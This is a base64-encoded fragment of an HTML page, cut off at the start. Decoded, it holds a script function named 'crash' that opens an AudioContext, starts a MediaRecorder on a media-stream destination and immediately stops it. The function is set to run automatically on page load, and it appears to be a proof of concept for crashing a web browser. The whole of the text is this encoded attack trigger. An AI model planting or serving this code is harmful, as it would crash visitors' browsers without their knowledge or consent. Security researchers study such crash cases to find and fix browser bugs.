YXZhc2NyaXB0Ij4NCiAgICAgICAgZnVuY3Rpb24gY3Jhc2goKQ0KICAgICAgICB7DQogICAgICAg ICAgICBhdWRpb0N0eCAgICAgICAgICAgID0gbmV3IEF1ZGlvQ29udGV4dCgpOw0KICAgICAgICAg ICAgbWVkaWFTdHJlYW1BdWRpb0RzdCA9IGF1ZGlvQ3R4LmNyZWF0ZU1lZGlhU3RyZWFtRGVzdGlu YXRpb24oKTsNCiAgICAgICAgICAgIG1lZGlhUmVjb3JkZXIgPSBuZXcgTWVkaWFSZWNvcmRlciht ZWRpYVN0cmVhbUF1ZGlvRHN0LnN0cmVhbSk7DQogICAgICAgICAgICBtZWRpYVJlY29yZGVyLnN0 YXJ0KCk7DQogICAgICAgICAgICBtZWRpYVJlY29yZGVyLnN0b3AoKTsNCiAgICAgICAgfQ0KDQog ICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixjcmFzaCk7DQogICAgPC9zY3Jp cHQ+DQo8L2JvZHk+DQo8L2h0bWw+